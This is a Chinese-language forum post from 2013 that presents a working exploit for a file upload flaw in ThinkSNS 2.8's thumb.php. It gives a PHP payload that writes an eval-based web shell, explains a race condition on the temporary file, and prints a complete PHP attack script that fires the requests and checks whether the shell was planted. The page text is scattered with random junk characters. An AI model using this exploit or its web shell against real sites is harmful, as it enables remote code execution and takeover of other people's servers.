找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2139|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本; _( Z; v. M. W6 u+ a9 u8 I1 D
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
1 X9 E, W/ O" D! [( Y4 J1 j& U& h漏洞文件
7 Y1 B( [. w; V1 u' S' P- |存在漏洞的文件为:thumb.php4 @9 x- k, w9 S4 Y; o" k6 w  _% _3 b1 F
作者:韦鲲鹏, }0 S5 T0 V- b% i6 C
1、        准备如下PHP文件并上传到服务器(自己的)。* p0 }( Y, R, \1 d0 ?. G% j
文件内容如下:1 h5 H( J& m' C: r# O% }
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>6 L. K! m% R% `4 i7 }
2、        计算出临时的文件名:" |$ r- h9 A7 N8 O* ~5 j2 i  n
这里我们可以看文件的99行(刚刚是不是没注意呀!)。$ _4 q- Q. y( y7 }/ ~$ w- S
. \& ~) y; p( n2 ]: f4 u8 K! I" y
3、        上传临时文件。
9 M# a9 i# O4 i, M) m' x/ G) f4 x4、        访问临时文件。
) W6 H" t& d9 n6 H* [1 ^但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
$ e1 X# p+ i! @8 L& pExploit文件内容如下:(这个我就不详细解释了)
. B1 e* @' V2 i- s! _<?php
: v; A9 e% |* h& C" A3 werror_reporting(0);/ v# T: p8 l$ `3 w
set_time_limit(0);
3 s" b) a9 [1 k0 ^3 H9 v, hini_set(“default_socket_timeout”, 5);
: l' y# Z  K/ u( F# A% gfunction http_send($host, $port, $headers) {- t: Q$ N: Y/ h# y9 e8 k- ~: q
$fp = fsockopen($host, $port);
3 l7 b; V3 x, q: i& ^2 cif (!$fp) die(‘Connection -> fail’);: }4 C" C/ S( W' L4 d
fputs($fp, $headers);7 _8 {, [% c# w1 t, c9 @) C; W
return $fp;
! w7 K1 V( g% N) H! K8 E" I  J}  Z7 i  n2 b/ ]) D8 L8 y
function http_recv($fp) {. {5 @" H# g7 m* a: V" S
$ret=”";
* M, T9 g4 m  S' C$ Gwhile (!feof($fp))
+ i6 Z3 |, ?1 u  s% t$ret.= fgets($fp, 1024);
( W( e6 X: V. r1 f8 tfclose($fp);
' R4 H1 d. k# C4 I+ Kreturn $ret;
3 i* E9 I; j2 Z8 F! `}+ l7 J$ N3 _- J
print “\n#  ThinkSns Arbitrary File Upload   #\n”;" h0 Z+ Z# n  ?' ~
print “# Discovered by 韦鲲鹏 #\n\n”;. W9 T. ?8 a5 T/ J* ?  |
if ($argc < 4) {
  |0 C  y: F  s0 Mprint “Usage:   php <host> <path> <romote_url>\n”;
7 d2 ^7 v  z2 c; `1 z1 lprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;4 d$ G% r! {0 x$ m. @6 H
die();8 J! M8 i) s: o" p/ ~8 u
}0 @- A/ ^8 \% n. {6 l* |" _
$host = $argv[1];2 R/ C+ `3 ~  s# d
$path = $argv[2];
8 Q6 E. z/ m8 c$url = $argv[3];6 x1 s5 p3 i$ r% I8 z# D3 b4 h
$i=0;
7 R* x. b/ h# E3 G9 c" n' S: X//上传数据包& t! y3 @5 _- Y& b) R
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;; S2 ^4 F' g$ G, i" I7 x) N. o' N
$headers_up .= “Host: “.$host.”\r\n”;
" y8 z+ l4 {" b  b4 a" T6 o5 A$headers_up .= “Connection: close\r\n\r\n”;
3 q- E5 N9 N" _echo $headers_up;; S# S# u' C! a
//临时文件访问数据包6 I% C3 Z$ g, Q, d& e1 y1 n
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;$ d* E" r, @# Q% M% n
$headers .= “Host: “.$host.”\r\n”;
! s, j' {6 a7 J- p2 m' D) F$headers .= “Connection: close\r\n\r\n”;
; K# [1 B# g" N" ?echo $headers;
! G2 Z: R/ l# c% V- swhile(++$i<10) {0 d( g5 \+ z! k+ n/ A
fclose(http_send($host, 80, $headers));2 m6 u5 v7 A: |4 `. ?
}
/ E$ X$ j" `1 i; z8 Z- q) Ffclose(http_send($host, 80, $headers_up));# i0 Q) R' Q& T5 F, x5 R& s
while(++$i<50) {
7 ]. ^# @- X/ G( G" s. i) jfclose(http_send($host, 80, $headers));/ s* f/ o8 t- ]4 C& J- z
}3 `; N2 o- Y2 i0 C& w) E/ U: W/ d% [8 P
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;- U9 v2 m6 v% y0 Y/ p
$headers .= “Host: “.$host.”\r\n”;) k4 `/ q% H5 Q# ]4 r" T
$headers .= “Connection: close\r\n\r\n”;
/ m0 i: R( D* B" f, U5 W  V$res=http_recv(http_send($host, 80, $headers));) X9 Z: }3 }& ~1 s$ l  C
if(preg_match(‘/200 OK/’,$res)) {
+ U. }9 A6 A" }% sprint “Success!\n\n”;
/ M% @$ X4 M/ o) E, \1 L7 n} else {
. P  _6 M6 a4 e" J9 P# bprint “Fail!\n\n”;
9 n5 m9 K0 Z" R9 a3 r}2 g) o1 r/ N* k: I0 q. J. v
?>
: R! @% x1 V, @7 K- H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表